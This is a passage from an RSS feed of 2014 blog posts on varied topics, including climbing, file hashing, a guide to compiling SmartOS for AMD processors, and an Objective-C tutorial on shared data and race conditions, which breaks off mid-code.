                &lt;p&gt;&lt;a href="http://www.outsideonline.com/outdoor-adventure/the-current/raising-rippers/Dont-Let-Youth-Sports-Hijack-Your-Life.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 30 Sep 2014 15:55:35 GMT</pubDate><guid isPermaLink="true">http://www.outsideonline.com/outdoor-adventure/the-current/raising-rippers/Dont-Let-Youth-Sports-Hijack-Your-Life.html</guid></item><item><title>1984</title><link>https://apurva-shukla.me/bookshelf/1984/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ This book is an absolute classic! It is basically a dystopian novel where the main character (Winston Smith) lives in. It is set…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Tue, 30 Sep 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/1984/</guid></item><item><title>Fixing dropbox “conflicted copy” problems</title><link>https://purpleidea.com/blog/2014/09/30/fixing-dropbox-conflicted-copy-problems/</link><description>&lt;p&gt;&lt;a href="https://www.gnu.org/philosophy/who-does-that-server-really-serve.html"&gt;I usually avoid proprietary cloud services because of freedom, privacy and vendor lock-in concerns.&lt;/a&gt; In addition, there are some excellent &lt;em&gt;libre&lt;/em&gt; (and hosted) services such as &lt;a href="https://wordpress.com/"&gt;WordPress&lt;/a&gt;, &lt;a href="https://www.wikipedia.org/"&gt;Wikipedia&lt;/a&gt; and &lt;a href="https://www.openshift.com/"&gt;OpenShift&lt;/a&gt; which don&amp;rsquo;t have the above problems. Thirdly, there are every day &lt;a href="https://www.gnu.org/philosophy/free-sw.html"&gt;Free Software&lt;/a&gt; tools such as &lt;a href="https://fedoraproject.org/"&gt;Fedora GNU/Linux&lt;/a&gt;, &lt;a href="https://www.libreoffice.org/"&gt;Libreoffice&lt;/a&gt;, and &lt;a href="http://git-annex.branchable.com/assistant/"&gt;git-annex-assistant&lt;/a&gt; which make &lt;em&gt;my&lt;/em&gt; computing much more powerful. Finally, there are some hosted services that I use that don&amp;rsquo;t lock me in because I use them as push-only mirrors, and I only interact with them using Free Software tools. The two examples are &lt;a href="https://github.com/purpleidea/"&gt;GitHub&lt;/a&gt; and &lt;a href="https://db.tt/svmqLvX7"&gt;Dropbox&lt;/a&gt;.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Tue, 30 Sep 2014 04:05:07 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/09/30/fixing-dropbox-conflicted-copy-problems/</guid></item><item><title>Using Google Glass at Work</title><link>http://fortune.com/2014/09/30/google-glass-at-work/</link><description>I was interviewed by Anne Fisher of Fortune Magazine regarding the use of Google Glass in the workplace. This is the accompanying article published by Fortune.</description><author>Train of Thought</author><pubDate>Tue, 30 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://fortune.com/2014/09/30/google-glass-at-work/</guid></item><item><title>File Hashing: If you look close enough, even files have fingerprints</title><link>https://joshuarogers.net/articles/2014-09/file-hashing/</link><description>A little while back I spent some time looking at an interesting issue with a colleage. He was trying to load a virtual machine from an .OVA but kept recieving error messages as he loaded it that the file was invalid. Somehow though, other people used the same file. This one could be fun to diagnose.
To start with, the premise of our argument has a problem: it wasn't the same file but rather a copy of the file.</description><author>Joshua Rogers</author><pubDate>Mon, 29 Sep 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-09/file-hashing/</guid></item><item><title>Three Levels of Competence</title><link>https://josh.works/climbing/2014/09/29/three-levels-of-competence/</link><description>&lt;p&gt;Raise your hand if you’d like to be better at climbing.
Yeah. Me too.&lt;/p&gt;

&lt;p&gt;I’ve spent an unusual amount of time working with beginners, to help them improve at climbing. I’ve also worked a lot with (what I would consider to be) intermediate climbers, so 
can get better. I’ve certainly watched 
advanced climbers do their thing, but I’m not sure how much I have to offer to them.&lt;/p&gt;

&lt;p&gt;My quick observation about climbing, existing skill levels, and improvement is this:&lt;/p&gt;

&lt;p&gt;At a most basic level, a climber needs to build movement skills, and needs to learn to belay. Strength is not a big part of this equation, because most “easy” climbing is not a function of strength, but technique. Fortunately, just by building this base of movement skills, the climber will get stronger.&lt;/p&gt;

&lt;p&gt;I would expect a beginner climber to learn the basics of hip rotation, flagging/smearing, and climbing with straight arms. Everything else is icing on the cake.&lt;/p&gt;

&lt;p&gt;As far as technical skills, a beginner should be able to top rope belay.&lt;/p&gt;

&lt;p&gt;Once the climber has mastered the above skills, they’re a solid candidate for being an intermediate climber. Movement skills will be refined, especially as climbs take the feet farther and farther out from under the climber. (Not necessarily due to steepness, but due to large horizontal movements.) This will place more stress on the upper body, so the climber will keep getting stronger. The climber will get comfortable with side pulls, gastons, heel hooks, and all those fun things. (Including all the movements we have to do that defy categorization. The beached whale, anyone?)&lt;/p&gt;

&lt;p&gt;Our climber will also be picking up additional technical skills. The climber will learn to lead belay and lead climb, and starts getting into the mental game that permeates this strange sport.&lt;/p&gt;

&lt;p&gt;So far, I’ve not mentioned anything about grade. How hard does our climber need to climb to be considered intermediate?&lt;/p&gt;

&lt;p&gt;I don’t know. I am of the opinion that if they can handle the above technical skills, they’ll find themselves climbing harder grades. I’m hesitant to put a grade on any stage for many reasons, but mostly because focusing on technique will carry us all farther than focusing on grades.&lt;/p&gt;

&lt;p&gt;An easy example is the mythical grade of 5.12. Most people don’t think they are STRONG enough to climb 5.12, but I think most people just are not good enough at climbing to climb 5.12. The strength comes as they improve their technique. If someone just tries to get really really strong, without focusing on their technique, they’ll never get anywhere.&lt;/p&gt;

&lt;p&gt;Phew. Brain dump. All done.&lt;/p&gt;

&lt;p&gt;Oh yeah - that third level? That’s advanced climbers. Not sure what their defining characteristics are, but I’ll let you know when I get there. :)&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 29 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/climbing/2014/09/29/three-levels-of-competence/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts.html</link><description>&lt;p&gt;At first I attributed my absence of enthusiasm in a medium that I previously enjoyed so immensely a by-product of the increased demands on my time as of late. However, upon further consideration, and after yet another week of but one entry here in a list that previously contained double-digit items, I realized the true reason behind this unfortunate change: my interests had shifted. Just as I no longer derive the same pleasure in reading about technology and writing in speculation of Apple&amp;#8217;s next announcement, I no longer take the same pleasure in the podcasts of the same genre. Do not look at the decline of this series as a step towards its demise, then, but rather the prelude to a massive shift that&amp;#160;&amp;#8212;&amp;#160;at its end&amp;#160;&amp;#8212;&amp;#160;will see both this series and this website stronger than it ever was before. And so, enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 28 Sep 2014 22:05:49 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts.html</guid></item><item><title>The snails are eating again</title><link>https://liza.io/the-snails-are-eating-again/</link><description>&lt;p&gt;Back to the brain we go.&lt;/p&gt;
&lt;p&gt;I already had snails eating food in jars before, &lt;em&gt;but&lt;/em&gt; it was kind of a hack. Each snail would just eat a bite of whatever consumable item was in the jar. When I stupidly decided to try to make a simple snail brain, I knew I&amp;rsquo;d have to make things like eating fit into it. Today I made a very rough version of something like that.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 28 Sep 2014 19:25:48 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-snails-are-eating-again/</guid></item><item><title>Transformers: Age of Extinction</title><link>https://olshansky.info/movie/transformers_age_of_extinction/</link><description>Olshansky's review of Transformers: Age of Extinction</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 28 Sep 2014 18:48:07 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/transformers_age_of_extinction/</guid></item><item><title>Compiling SmartOS for AMD processors</title><link>https://caiustheory.com/compiling-smartos-for-amd-processors/</link><description>&lt;p&gt;There&amp;rsquo;s a few community-provided patches for SmartOS that enable KVM on AMD processors amongst other things, and given the HP Microserver has an AMD processor, that&amp;rsquo;s quite useful for turning it into a better lab server. The main &lt;a href="http://imgapi.uqcloud.net/builds"&gt;list of so called &amp;ldquo;eait&amp;rdquo; builds&lt;/a&gt; was hiccuping when I tried to download the latest, and all I could find was a 20140812T062241Z image &lt;a href="http://builds.smartos.skylime.net"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The source code for the eait builds is maintained at &lt;a href="https://github.com/arekinath/smartos-live"&gt;https://github.com/arekinath/smartos-live&lt;/a&gt;, and you can see the patches applied on top of the normal SmartOS master by going to &lt;a href="https://github.com/arekinath/smartos-live/compare/joyent:master...eait"&gt;https://github.com/arekinath/smartos-live/compare/joyent:master...eait&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So here&amp;rsquo;s how to use SmartOS to compile a more up to date AMD-friendly Smartos!&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Grab the latest multiarch SmartOS image (which &lt;strong&gt;has&lt;/strong&gt; to be used, or the compile will fail.) The latest at the time of writing was &lt;code&gt;4aec529c-55f9-11e3-868e-a37707fcbe86&lt;/code&gt;, so that&amp;rsquo;s what I&amp;rsquo;ll use.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; imgadm import 4aec529c-55f9-11e3-868e-a37707fcbe86
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Spin up a zone for us to build in (the &lt;a href="http://wiki.smartos.org/display/DOC/Building+SmartOS+on+SmartOS"&gt;Building SmartOS on SmartOS&lt;/a&gt; page has extra info about this):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; echo '{
&amp;quot;alias&amp;quot;: &amp;quot;platform-builder&amp;quot;,
&amp;quot;brand&amp;quot;: &amp;quot;joyent&amp;quot;,
&amp;quot;dataset_uuid&amp;quot;: &amp;quot;4aec529c-55f9-11e3-868e-a37707fcbe86&amp;quot;,
&amp;quot;max_physical_memory&amp;quot;: 32768,
&amp;quot;quota&amp;quot;: 0,
&amp;quot;tmpfs&amp;quot;: 8192,
&amp;quot;fs_allowed&amp;quot;: &amp;quot;ufs,pcfs,tmpfs&amp;quot;,
&amp;quot;maintain_resolvers&amp;quot;: true,
&amp;quot;resolvers&amp;quot;: [
&amp;quot;8.8.8.8&amp;quot;,
&amp;quot;8.8.4.4&amp;quot;
],
&amp;quot;nics&amp;quot;: [
{
&amp;quot;nic_tag&amp;quot;: &amp;quot;admin&amp;quot;,
&amp;quot;ip&amp;quot;: &amp;quot;dhcp&amp;quot;,
&amp;quot;primary&amp;quot;: true
}
],
&amp;quot;internal_metadata&amp;quot;: {
&amp;quot;root_pw&amp;quot;: &amp;quot;password&amp;quot;,
&amp;quot;admin_pw&amp;quot;: &amp;quot;password&amp;quot;
}
}' | vmadm create
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Login to the created zone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; zlogin &amp;lt;uuid from `vmadm create` output&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update the image to the latest packages, etc:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; pkgin -y update &amp;amp;&amp;amp; pkgin -y full-upgrade
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install a few images we&amp;rsquo;ll need to compile &amp;amp; package SmartOS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; pkgin install scmgit cdrtools pbzip2
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Grab the source code of the fork containing the patches we want, from &lt;a href="https://github.com/arekinath/smartos-live"&gt;arekinath/smartos-live&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; git clone https://github.com/arekinath/smartos-live
cd smartos-live
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Optional&lt;/em&gt;: Edit &lt;code&gt;src/Makefile.defs&lt;/code&gt; and change &lt;code&gt;PARALLEL = -j$(MAX_JOBS)&lt;/code&gt; to &lt;code&gt;PARALLEL = -j8&lt;/code&gt; to do less at once. (Microserver only has a dual core CPU!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copy the configure definition into the right place and start configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; cp {sample.,}configure.smartos
./configure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;(You&amp;rsquo;ll probably get asked to accept the java license during configuration, so keep half an eye on it)&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once configure has completed (which doesn&amp;rsquo;t take &lt;em&gt;too&lt;/em&gt; long, 15 minutes or so), start building:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; gmake world &amp;amp;&amp;amp; gmake live
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once the build is successfully finished, time to package an iso &amp;amp; usb image:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export LC_ALL=C
tools/build_iso
tools/build_usb
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hey presto, you&amp;rsquo;ve a freshly built AMD-friendly SmartOS build to flash to a USB key / put on your netboot server and boot your Microserver from!&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wiki.smartos.org/display/DOC/Building+SmartOS+on+SmartOS"&gt;http://wiki.smartos.org/display/DOC/Building+SmartOS+on+SmartOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/arekinath/smartos-live"&gt;https://github.com/arekinath/smartos-live&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Caius Theory</author><pubDate>Sun, 28 Sep 2014 13:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/compiling-smartos-for-amd-processors/</guid></item><item><title>Concurrency: Working with shared data using queues</title><link>https://whackylabs.com/concurrency/2014/09/27/concurrency-working-with-shared-data-using-queues/</link><description>&lt;h1 id="concurrency-working-with-shared-data-using-queues"&gt;Concurrency: Working with shared data using queues&lt;/h1&gt;

&lt;p&gt;All problems with concurrency basically boil down to two categories: Race conditions and deadlocks. Today let’s look into one specific problem under race conditions: Working with shared data.&lt;/p&gt;

&lt;p&gt;If every thread had to deal with the only data provided exclusively to it, we won’t ever get into any sort of data race problems. In fact, this is one of the main features of functional programming languages like Haskell that advertises heavily about concurrency and parallelism.&lt;/p&gt;

&lt;p&gt;But there’s nothing to be worried about, functional programming is more about adopting a design pattern, just as object oriented programming is. Yes, some programming languages offer more towards a particular pattern, but that doesn’t means that we can not adopt that pattern in any other language. We just have to restrict ourselves to a particular convention. For example, there are a plenty or large softwares written with C programming language adopting the object oriented pattern. And for us, both C++ and Swift are very much capable of adopting the functional programming paradigm.&lt;/p&gt;

&lt;p&gt;Getting back to the problem of shared data. Let’s look into when is shared data a problem with multiple threads. Suppose we have an application where two or more threads are working on a shared data. If all each threads ever does is a read activity, we won’t have any data race problem. For example, you’re at the airport and checking out your flight status on the giant screen. And, you’re not the only one looking at the status screen. But, does it really matters how many others are reading the information from the same screen? Now suppose the scenario is a little more realistic. Every airliner has a control with which they can update the screen with new information, while a passenger is reading the screen, the situation can get a little difficult. At any given instance, one or more airliner can be updating the screen at same instance, which could result in some garbled text to the passengers reading the screen. The two or airliners are actually in a race condition for a single resource, the screen.&lt;/p&gt;

&lt;p&gt;If you’re using Cocoa, you must be familiar with the NSMutableArray. Also, you must be familiar that NSMutableArray isn’t thread-safe as of this writing. So, the question is how do make use of NSMutableArray in a situation like this, where we have concurrent read and write operations going on?&lt;/p&gt;

&lt;p&gt;Let’s start with a simple single threaded model of what we’re doing:&lt;/p&gt;
&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * Concurreny Experiments: Shared data
 * Compile: clang SharedData.m -framework Foundation &amp;amp;&amp;amp; ./a.out
 */&lt;/span&gt;

&lt;span class="cp"&gt;#import &amp;lt;Foundation/Foundation.h&amp;gt;
&lt;/span&gt;
&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Airport&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSMutableArray&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoard&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;NSUInteger&lt;/span&gt; &lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;NSUInteger&lt;/span&gt; &lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;Airport&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;airportStatusBoard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;NSMutableArray&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;writeCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;readCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;dealloc&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoard&lt;/span&gt; &lt;span class="nf"&gt;release&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;dealloc&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;addFlightEntry&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;newEntry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;airportStatusBoard&lt;/span&gt; &lt;span class="nf"&gt;addObject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;newEntry&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;statusWriter&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;addFlightEntry&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"writing ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;searchFlightNum&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading begin: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSNumber&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;airportStatusBoard&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;flightNum&lt;/span&gt; &lt;span class="nf"&gt;isEqualToNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;searchFlightNum&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;YES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"reading ends: %@"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    
    &lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;serialLoop&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;srandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusReaderWithFlightNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;statusWriter&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"Flight found after %@ writes and %@ reads"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;writeCount&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readCount&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;@autoreleasepool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Airport&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;airport&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;Airport&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;airport&lt;/span&gt; &lt;span class="nf"&gt;serialLoop&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
